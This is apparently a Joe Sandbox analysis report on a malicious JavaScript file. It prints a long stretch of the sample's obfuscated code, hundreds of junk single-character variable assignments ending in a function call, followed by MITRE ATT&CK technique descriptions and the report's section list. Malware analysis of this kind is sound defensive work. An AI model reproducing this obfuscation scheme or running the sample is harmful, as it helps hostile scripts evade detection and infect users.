421	vzxkbyi = "o";
422	vzxkbyi = "H";
423	vzxkbyi = "p";
424	vzxkbyi = "j";
425	vzxkbyi = "D";
426	vzxkbyi = "v";
427	vzxkbyi = "W";
428	vzxkbyi = "q";
429	vzxkbyi = "O";
430	vzxkbyi = "e";
431	vzxkbyi = "p";
432	vzxkbyi = "t";
433	vzxkbyi = "-";
434	pymkzm = "O";
435	pymkzm = "k";
436	pymkzm = "D";
437	pymkzm = "h";
438	pymkzm = "h";
439	pymkzm = "k";
440	pymkzm = "l";
441	pymkzm = "X";
442	pymkzm = "y";
443	pymkzm = "z";
444	pymkzm = "N";
445	pymkzm = "A";
446	pymkzm = "z";
447	pymkzm = "i";
448	pymkzm = "l";
449	pymkzm = "k";
450	pymkzm = "C";
451	pymkzm = "u";
452	pymkzm = "I";
453	pymkzm = "F";
454	pymkzm = "h";
455	pymkzm = "g";
456	pymkzm = "r";
457	pymkzm = "N";
458	pymkzm = "L";
459	pymkzm = "I";
460	pymkzm = "t";
461	zxtaum = "t";
462	zxtaum = "d";
463	zxtaum = "k";
464	zxtaum = "k";
465	zxtaum = "U";
466	zxtaum = "W";
467	zxtaum = "p";
468	zxtaum = "c";
469	zxtaum = "G";
470	zxtaum = "I";
471	zxtaum = "U";
472	zxtaum = "o";
473	zxtaum = "L";
474	zxtaum = "p";
475	zxtaum = "o";
476	zxtaum = "R";
477	zxtaum = "O";
478	zxtaum = "J";
479	zxtaum = "J";
480	zxtaum = "W";
481	zxtaum = "y";
482	zxtaum = "U";
483	ifowjhor = "E";
484	ifowjhor = "N";
485	ifowjhor = "v";
486	ifowjhor = "y";
487	ifowjhor = "I";
488	ifowjhor = "A";
489	ifowjhor = "f";
490	ifowjhor = "h";
491	ifowjhor = "G";
492	ifowjhor = "d";
493	ifowjhor = "B";
494	ifowjhor = "P";
495	ifowjhor = "l";
496	ifowjhor = "O";
497	ifowjhor = "j";
498	ifowjhor = "y";
499	ifowjhor = "H";
500	ifowjhor = "a";
501	ifowjhor = "J";
502	ifowjhor = "R";
503	klqfbpy = "a";
504	klqfbpy = "G";
505	klqfbpy = "Y";
506	klqfbpy = "F";
507	klqfbpy = "b";
508	klqfbpy = "t";
509	klqfbpy = "U";
510	klqfbpy = "P";
511	klqfbpy = "W";
512	klqfbpy = "x";
513	klqfbpy = "P";
514	klqfbpy = "y";
515	klqfbpy = "L";
516	klqfbpy = "z";
517	klqfbpy = "b";
518	klqfbpy = "T";
519	klqfbpy = "g";
520	klqfbpy = "i";
521	klqfbpy = "q";
522	klqfbpy = "u";
523	klqfbpy = "s";
524	klqfbpy = "K";
525	klqfbpy = "p";
526	klqfbpy = "b";
527	klqfbpy = "H";
528	nlgpufedy = "d";
529	nlgpufedy = "q";
530	nlgpufedy = "X";
531	nlgpufedy = "t";
532	nlgpufedy = "D";
533	nlgpufedy = "R";
534	nlgpufedy = "R";
535	nlgpufedy = "z";
536	nlgpufedy = "s";
537	ppphe = "Y";
538	ppphe = "H";
539	ppphe = "b";
540	ppphe = "z";
541	ppphe = "H";
542	ppphe = "F";
543	ppphe = "N";
544	ppphe = "W";
545	ppphe = "y";
546	ppphe = "h";
547	ppphe = "p";
548	ppphe = "s";
549	ppphe = "i";
550	ppphe = "W";
551	ppphe = "G";
552	ppphe = "e";
553	ppphe = "q";
554	ppphe = "p";
555	ppphe = "g";
556	ppphe = "T";
557	ppphe = "y";
558	ppphe = "A";
559	ppphe = "M";
560	ppphe = "k";
561	ppphe = "n";
562	ppphe = "c";
563	ppphe = "B";
564	ppphe = "4";
565	hmgzqs = "V";
566	hmgzqs = "C";
567	hmgzqs = "u";
568	hmgzqs = "a";
569	hmgzqs = "Y";
570	hmgzqs = "G";
571	hmgzqs = "v";
572	cufahibw = "R";
573	cufahibw = "y";
574	cufahibw = "C";
575	cufahibw = "F";
576	cufahibw = "\"";
577	klulhb = "B";
578	klulhb = "r";
579	klulhb = "A";
580	klulhb = "n";
581	klulhb = "c";
582	klulhb = "i";
583	klulhb = "J";
584	klulhb = "R";
585	klulhb = "P";
586	klulhb = "S";
587	klulhb = "v";
588	klulhb = "w";
589	klulhb = "y";
590	klulhb = "O";
591	klulhb = "B";
592	klulhb = "0";
593	wmeru = "n";
594	wmeru = "O";
595	wmeru = "c";
596	wmeru = "z";
597	wmeru = "A";
598	wmeru = "f";
599	wmeru = "q";
600	wmeru = "a";
601	wmeru = "b";
602	wmeru = "w";
603	wmeru = "f";
604	wmeru = "r";
605	wmeru = "n";
606	wmeru = "J";
607	wmeru = "D";
608	wmeru = "c";
609	wmeru = "Q";
610	wmeru = "g";
611	wmeru = "N";
612	wmeru = "g";
613	wmeru = "Z";
614	wmeru = "E";
615	wmeru = "K";
616	wmeru = "C";
617	wmeru = "q";
618	bqerp = "P";
619	bqerp = "u";
620	bqerp = "L";
621	bqerp = "r";
622	bqerp = "q";
623	bqerp = "y";
624	bqerp = "Z";
625	bqerp = "G";
626	bqerp = "G";
627	bqerp = "i";
628	bqerp = "X";
629	bqerp = "i";
630	bqerp = "S";
631	bqerp = "k";
632	bqerp = "f";
633	bqerp = "e";
634	bqerp = "l";
635	bqerp = "z";
636	bqerp = "E";
637	bqerp = "I";
638	bqerp = "T";
639	bqerp = "M";
640	bqerp = "v";
641	bqerp = "C";
642	bqerp = "W";
643	bqerp = "U";
644	bqerp = "g";
645	bqerp = "3";
646	prepfgu = "v";
647	prepfgu = "o";
648	prepfgu = "S";
649	prepfgu = "w";
650	prepfgu = "e";
651	prepfgu = "s";
652	prepfgu = "V";
653	prepfgu = "U";
654	prepfgu = "f";
655	prepfgu = "t";
656	prepfgu = "A";
657	prepfgu = "j";
658	prepfgu = "L";
659	prepfgu = "r";
660	prepfgu = "D";
661	prepfgu = "W";
662	prepfgu = "v";
663	prepfgu = "K";
664	prepfgu = "x";
665	prepfgu = "B";
666	prepfgu = "E";
667	prepfgu = "i";
668	prepfgu = "j";
669	prepfgu = "l";
670	prepfgu = "K";
671	prepfgu = "J";
672	prepfgu = "W";
673	prepfgu = "M";
674	prepfgu = "b";
675	prepfgu = ".";
676	xyrqjrwk = "A";
677	xyrqjrwk = "H";
678	xyrqjrwk = "t";
679	xyrqjrwk = "M";
680	xyrqjrwk = "m";
681	xyrqjrwk = "f";
682	xyrqjrwk = "H";
683	xyrqjrwk = "n";
684	xyrqjrwk = "X";
685	xyrqjrwk = "l";
686	xyrqjrwk = "y";
687	xyrqjrwk = "k";
688	xyrqjrwk = "a";
689	xyrqjrwk = "w";
690	xyrqjrwk = "k";
691	xyrqjrwk = "d";
692	knbbrdkag = "D";
693	knbbrdkag = "L";
694	knbbrdkag = "W";
695	knbbrdkag = "K";
696	knbbrdkag = "b";
697	knbbrdkag = "p";
698	knbbrdkag = "s";
699	knbbrdkag = "F";
700	knbbrdkag = "f";
701	knbbrdkag = "b";
702	knbbrdkag = "w";
703	knbbrdkag = "N";
704	knbbrdkag = "G";
705	knbbrdkag = "i";
706	knbbrdkag = "l";
707	knbbrdkag = "i";
708	knbbrdkag = "D";
709	knbbrdkag = "s";
710	knbbrdkag = "w";
711	knbbrdkag = "v";
712	knbbrdkag = "j";
713	knbbrdkag = "y";
714	knbbrdkag = "o";
715	knbbrdkag = "j";
716	trgchf = "c";
717	trgchf = "J";
718	trgchf = "a";
719	trgchf = "V";
720	trgchf = "G";
721	trgchf = "p";
722	trgchf = "Z";
723	trgchf = "W";
724	trgchf = "D";
725	trgchf = "s";
726	trgchf = "B";
727	trgchf = "g";
728	trgchf = "W";
729	trgchf = "s";
730	trgchf = "i";
731	trgchf = "s";
732	trgchf = "k";
733	trgchf = "E";
734	trgchf = "M";
735	trgchf = "O";
736	trgchf = "d";
737	trgchf = "D";
738	trgchf = "v";
739	trgchf = "h";
740	dwzuubry = "X";
741	dwzuubry = "L";
742	dwzuubry = "l";
743	dwzuubry = "n";
744	dwzuubry = "i";
745	dwzuubry = "E";
746	dwzuubry = "A";
747	dwzuubry = "z";
748	dwzuubry = "q";
749	dwzuubry = "K";
750	dwzuubry = "o";
751	dwzuubry = "f";
752	dwzuubry = "t";
753	dwzuubry = "u";
754	dwzuubry = "D";
755	dwzuubry = "w";
756	zpymlpii = "V";
757	zpymlpii = "c";
758	zpymlpii = "f";
759	zpymlpii = "Y";
760	zpymlpii = "k";
761	zpymlpii = "e";
762	zpymlpii = "G";
763	zpymlpii = "i";
764	zpymlpii = "F";
765	zpymlpii = "Z";
766	zpymlpii = "K";
767	zpymlpii = "X";
768	zpymlpii = "z";
769	zpymlpii = "A";
770	zpymlpii = "f";
771	zpymlpii = "1";
772	bbljsyzof = "n";
773	bbljsyzof = "u";
774	bbljsyzof = "b";
775	bbljsyzof = "u";
776	bbljsyzof = "P";
777	bbljsyzof = "T";
778	bbljsyzof = "v";
779	bbljsyzof = "m";
780	bbljsyzof = "O";
781	bbljsyzof = "i";
782	bbljsyzof = "T";
783	bbljsyzof = "H";
784	bbljsyzof = "a";
785	bbljsyzof = "k";
786	bbljsyzof = "8";
787	sqwjtnuzi = "P";
788	sqwjtnuzi = "k";
789	sqwjtnuzi = "C";
790	sqwjtnuzi = "I";
791	sqwjtnuzi = "N";
792	sqwjtnuzi = "g";
793	sqwjtnuzi = "g";
794	sqwjtnuzi = "r";
795	sqwjtnuzi = "I";
796	sqwjtnuzi = "J";
797	sqwjtnuzi = "S";
798	sqwjtnuzi = "i";
799	sqwjtnuzi = "L";
800	sqwjtnuzi = "c";
801	sqwjtnuzi = "z";
802	sqwjtnuzi = "m";
803	sqwjtnuzi = "K";
804	tnpjd = "t";
805	tnpjd = "d";
806	tnpjd = "V";
807	tnpjd = "g";
808	tnpjd = "y";
809	tnpjd = "K";
810	tnpjd = "I";
811	tnpjd = "t";
812	tnpjd = "D";
813	tnpjd = "V";
814	tnpjd = "I";
815	tnpjd = "A";
816	tnpjd = "z";
817	tnpjd = "m";
818	tnpjd = "A";
819	tnpjd = "O";
820	tnpjd = "T";
821	psspsgm = "x";
822	psspsgm = "p";
823	psspsgm = "v";
824	psspsgm = "M";
825	psspsgm = "i";
826	psspsgm = "n";
827	psspsgm = "R";
828	psspsgm = "l";
829	psspsgm = "K";
830	psspsgm = "X";
831	psspsgm = "Y";
832	psspsgm = "Z";
833	psspsgm = "A";
834	psspsgm = "X";
835	psspsgm = "J";
836	psspsgm = "a";
837	psspsgm = "P";
838	psspsgm = "T";
839	psspsgm = "v";
840	psspsgm = "o";
841	psspsgm = "q";
842	psspsgm = "l";
843	psspsgm = "p";
844	psspsgm = "b";
845	psspsgm = "f";
846	psspsgm = "I";
847	psspsgm = "B";
848	psspsgm = "T";
849	psspsgm = "I";
850	psspsgm = "z";
851	psspsgm = "f";
852	psspsgm = "t";
853	psspsgm = "W";
854	psspsgm = "n";
855	psspsgm = "G";
856	psspsgm = "I";
857	psspsgm = "e";
858	xeycxyver = "m";
859	epghxvk = "H";
860	epghxvk = "k";
861	epghxvk = "S";
862	epghxvk = "u";
863	epghxvk = "i";
864	epghxvk = "m";
865	epghxvk = "h";
866	epghxvk = "o";
867	epghxvk = "C";
868	epghxvk = "P";
869	epghxvk = "v";
870	epghxvk = "q";
871	epghxvk = "V";
872	epghxvk = "s";
873	epghxvk = "F";
874	epghxvk = "K";
875	epghxvk = "C";
876	epghxvk = "h";
877	epghxvk = "S";
878	epghxvk = "g";
879	epghxvk = "S";
880	epghxvk = "P";
881	epghxvk = "F";
882	epghxvk = "B";
883	epghxvk = "n";
884	epghxvk = "m";
885	epghxvk = "y";
886	epghxvk = "M";
887	epghxvk = "O";
888	epghxvk = "Y";
889	epghxvk = "O";
890	epghxvk = "y";
891	epghxvk = "F";
892	hsfejpzgn = "y";
893	hsfejpzgn = "T";
894	hsfejpzgn = "y";
895	hsfejpzgn = "u";
896	hsfejpzgn = "P";
897	hsfejpzgn = "F";
898	hsfejpzgn = "L";
899	hsfejpzgn = "j";
900	hsfejpzgn = "h";
901	hsfejpzgn = "F";
902	hsfejpzgn = "E";
903	hsfejpzgn = "Q";
904	hsfejpzgn = "e";
905	hsfejpzgn = "m";
906	hsfejpzgn = "w";
907	hsfejpzgn = "o";
908	hsfejpzgn = "M";
909	hsfejpzgn = "k";
910	xskff = "a";
911	xskff = "R";
912	xskff = "r";
913	xskff = "e";
914	xskff = "E";
915	xskff = "z";
916	xskff = "A";
917	xskff = "J";
918	xskff = "O";
919	xskff = "k";
920	xskff = "v";
921	xskff = "a";
922	xskff = "T";
923	xskff = "H";
924	xskff = "X";
925	xskff = "R";
926	xskff = "d";
927	xskff = "f";
928	xskff = "w";
929	xskff = "r";
930	xskff = "Y";
931	kpiiz = "s";
932	kpiiz = "F";
933	kpiiz = "A";
934	kpiiz = "B";
935	kpiiz = "p";
936	kpiiz = "x";
937	kpiiz = "p";
938	kpiiz = "y";
939	kpiiz = "f";
940	kpiiz = "C";
941	kpiiz = "j";
942	kpiiz = "s";
943	kpiiz = "w";
944	kpiiz = "q";
945	kpiiz = "N";
946	kpiiz = "Y";
947	kpiiz = "a";
948	kpiiz = "k";
949	kpiiz = "P";
950	kpiiz = "A";
951	kpiiz = "f";
952	kpiiz = "e";
953	kpiiz = "j";
954	kpiiz = "n";
955	kpiiz = "l";
956	kptrq = "h";
957	kptrq = "i";
958	kptrq = "B";
959	kptrq = "g";
960	kptrq = "%";
961	jimtznody = "X";
962	jimtznody = "2";
963	twtyz = "Q";
964	twtyz = "v";
965	twtyz = "r";
966	twtyz = "H";
967	twtyz = "d";
968	twtyz = "G";
969	twtyz = "H";
970	twtyz = "L";
971	twtyz = "p";
972	twtyz = "T";
973	twtyz = "f";
974	twtyz = "r";
975	twtyz = "y";
976	twtyz = "\\";
977	wsnnij = "G";
978	wsnnij = "O";
979	wsnnij = "i";
980	wsnnij = "T";
981	wsnnij = "G";
982	wsnnij = "r";
983	wsnnij = "K";
984	wsnnij = "a";
985	wsnnij = "L";
986	wsnnij = "x";
987	wsnnij = "j";
988	wsnnij = "T";
989	wsnnij = "j";
990	wsnnij = "C";
991	wsnnij = "Y";
992	wsnnij = "n";
993	wsnnij = "i";
994	dmzkrly = "R";
995	dmzkrly = "G";
996	dmzkrly = "K";
997	dmzkrly = "W";
998	dmzkrly = "q";
999	dmzkrly = "I";
1000	dmzkrly = "O";
1001	dmzkrly = "C";
1002	dmzkrly = "G";
1003	dmzkrly = "g";
1004	dmzkrly = "D";
1005	dmzkrly = "Q";
1006	dmzkrly = "X";
1007	dmzkrly = "S";
1008	dmzkrly = "r";
1009	dmzkrly = "I";
1010	dmzkrly = "L";
1011	dmzkrly = "X";
1012	dmzkrly = "S";
1013	dmzkrly = "s";
1014	dmzkrly = "n";
1015	dmzkrly = "Y";
1016	dmzkrly = "c";
1017	dmzkrly = "j";
1018	dmzkrly = "f";
1019	dmzkrly = "G";
1020	dmzkrly = "A";
1021	dmzkrly = "o";
1022	dmzkrly = "_";
1023	pplial = "J";
1024	pplial = "i";
1025	pplial = "Y";
1026	pplial = "N";
1027	pplial = "W";
1028	pplial = "Q";
1029	pplial = "S";
1030	pplial = "R";
1031	pplial = "U";
1032	pplial = "k";
1033	pplial = "X";
1034	pplial = "l";
1035	pplial = "d";
1036	pplial = "H";
1037	pplial = "C";
1038	pplial = "x";
1039	pplial = "E";
1040	pplial = "O";
1041	pplial = "X";
1042	pplial = "G";
1043	pplial = "H";
1044	pplial = "R";
1045	pplial = "k";
1046	pplial = "W";
1047	pplial = "x";
1048	pplial = "G";
1049	pplial = "t";
1050	pplial = "F";
1051	pplial = "O";
1052	pplial = "S";
1053	pplial = "D";
1054	pplial = "O";
1055	pplial = "n";
1056	dtwzvknht = "m";
1057	dtwzvknht = "D";
1058	dtwzvknht = "c";
1059	dtwzvknht = "D";
1060	dtwzvknht = "H";
1061	dtwzvknht = "f";
1062	dtwzvknht = "g";
1063	dtwzvknht = "S";
1064	dtwzvknht = "U";
1065	dtwzvknht = "G";
1066	dtwzvknht = "W";
1067	dtwzvknht = "P";
1068	dtwzvknht = "R";
1069	dtwzvknht = "s";
1070	dtwzvknht = "p";
1071	dtwzvknht = "e";
1072	dtwzvknht = "e";
1073	dtwzvknht = "t";
1074	dtwzvknht = "z";
1075	dtwzvknht = "O";
1076	dtwzvknht = "A";
1077	dtwzvknht = "m";
1078	dtwzvknht = "Q";
1079	zxoqa = "s";
1080	zxoqa = "e";
1081	zxoqa = "f";
1082	zxoqa = "i";
1083	zxoqa = "m";
1084	zxoqa = "O";
1085	zxoqa = "h";
1086	zxoqa = "q";
1087	zxoqa = "c";
1088	zxoqa = "k";
1089	zxoqa = "P";
1090	zxoqa = "L";
1091	zxoqa = "J";
1092	zxoqa = "l";
1093	zxoqa = "B";
1094	zxoqa = "d";
1095	zxoqa = "l";
1096	zxoqa = "J";
1097	zxoqa = "t";
1098	zxoqa = "B";
1099	zxoqa = "X";
1100	zxoqa = "G";
1101	zxoqa = "J";
1102	zxoqa = "I";
1103	zxoqa = "j";
1104	zxoqa = "t";
1105	zxoqa = "j";
1106	zxoqa = "a";
1107	zxoqa = "M";
1108	zxoqa = "t";
1109	zxoqa = "Y";
1110	zxoqa = "L";
1111	zxoqa = "T";
1112	zxoqa = "F";
1113	zxoqa = "S";
1114	zxoqa = "C";
1115	zxoqa = "p";
1116	ljhfw = "v";
1117	ljhfw = "7";
1118	rewmfgtys = "N";
1119	rewmfgtys = "R";
1120	rewmfgtys = "k";
1121	rewmfgtys = "n";
1122	rewmfgtys = "U";
1123	rewmfgtys = "x";
1124	rewmfgtys = "w";
1125	rewmfgtys = "Z";
1126	rewmfgtys = "Z";
1127	rewmfgtys = "a";
1128	rewmfgtys = "X";
1129	rewmfgtys = "R";
1130	rewmfgtys = "Y";
1131	rewmfgtys = "b";
1132	rewmfgtys = "n";
1133	rewmfgtys = "b";
1134	rewmfgtys = "X";
1135	rewmfgtys = "m";
1136	rewmfgtys = "i";
1137	rewmfgtys = "h";
1138	rewmfgtys = "Y";
1139	rewmfgtys = "q";
1140	rewmfgtys = "U";
1141	rewmfgtys = "L";
1142	rewmfgtys = "H";
1143	rewmfgtys = "b";
1144	rewmfgtys = "S";
1145	rewmfgtys = "L";
1146	rewmfgtys = "Z";
1147	rewmfgtys = "H";
1148	rewmfgtys = "g";
1149	xxegdpgf = "n";
1150	xxegdpgf = "K";
1151	xxegdpgf = "G";
1152	xxegdpgf = "F";
1153	xxegdpgf = "N";
1154	xxegdpgf = "o";
1155	xxegdpgf = "I";
1156	xxegdpgf = "x";
1157	xxegdpgf = "o";
1158	xxegdpgf = "i";
1159	xxegdpgf = "P";
1160	xxegdpgf = "T";
1161	xxegdpgf = "j";
1162	xxegdpgf = "E";
1163	xxegdpgf = "F";
1164	xxegdpgf = "Z";
1165	xxegdpgf = "O";
1166	xxegdpgf = "O";
1167	xxegdpgf = "d";
1168	xxegdpgf = "N";
1169	xxegdpgf = "r";
1170	xxegdpgf = "y";
1171	xxegdpgf = "C";
1172	pmmuow = "T";
1173	pmmuow = "u";
1174	pmmuow = "a";
1175	pmmuow = "U";
1176	pmmuow = "U";
1177	pmmuow = "G";
1178	pmmuow = "p";
1179	pmmuow = "o";
1180	pmmuow = "G";
1181	pmmuow = "g";
1182	pmmuow = "m";
1183	pmmuow = "H";
1184	pmmuow = "p";
1185	pmmuow = "F";
1186	pmmuow = "O";
1187	pmmuow = "G";
1188	pmmuow = "C";
1189	pmmuow = "v";
1190	pmmuow = "X";
1191	pmmuow = "e";
1192	pmmuow = "c";
1193	pmmuow = "I";
1194	pmmuow = "C";
1195	pmmuow = "n";
1196	pmmuow = "o";
1197	pmmuow = "h";
1198	pmmuow = "I";
1199	wwfdbq = "A";
1200	wwfdbq = "L";
1201	alcghelii = "i";
1202	alcghelii = "J";
1203	alcghelii = "A";
1204	alcghelii = "F";
1205	alcghelii = "Y";
1206	alcghelii = "r";
1207	alcghelii = "N";
1208	alcghelii = "e";
1209	alcghelii = "E";
1210	alcghelii = "o";
1211	gqewpxzgf = "M";
1212	gqewpxzgf = "d";
1213	gqewpxzgf = "N";
1214	gqewpxzgf = "I";
1215	gqewpxzgf = "C";
1216	gqewpxzgf = "w";
1217	gqewpxzgf = "K";
1218	gqewpxzgf = "w";
1219	gqewpxzgf = "U";
1220	gqewpxzgf = "h";
1221	gqewpxzgf = "f";
1222	gqewpxzgf = ":";
1223	ybofc = "L";
1224	ybofc = "q";
1225	ybofc = "z";
1226	ybofc = "I";
1227	ybofc = "U";
1228	ybofc = "p";
1229	ybofc = "r";
1230	ybofc = "K";
1231	ybofc = "a";
1232	ybofc = "g";
1233	ybofc = "M";
1234	ybofc = "w";
1235	ybofc = "I";
1236	ybofc = "p";
1237	ybofc = "T";
1238	ybofc = "c";
1239	ybofc = "Q";
1240	ybofc = "e";
1241	ybofc = "T";
1242	ybofc = "M";
1243	ybofc = "V";
1244	ybofc = "n";
1245	ybofc = "a";
1246	ybofc = "D";
1247	ybofc = "x";
1248	ybofc = "p";
1249	ybofc = "B";
1250	ybofc = "x";
1251	ybofc = "v";
1252	ybofc = "c";
1253	ybofc = "d";
1254	ybofc = "N";
1255	ybofc = "I";
1256	ybofc = "O";
1257	ybofc = "U";
1258	ybofc = "y";
1259	ybofc = "E";
1260	ybofc = "D";
1261	ybofc = "R";
1262	ybofc = "x";
1263	levzdx ( );	levzdx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22388142366532662.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

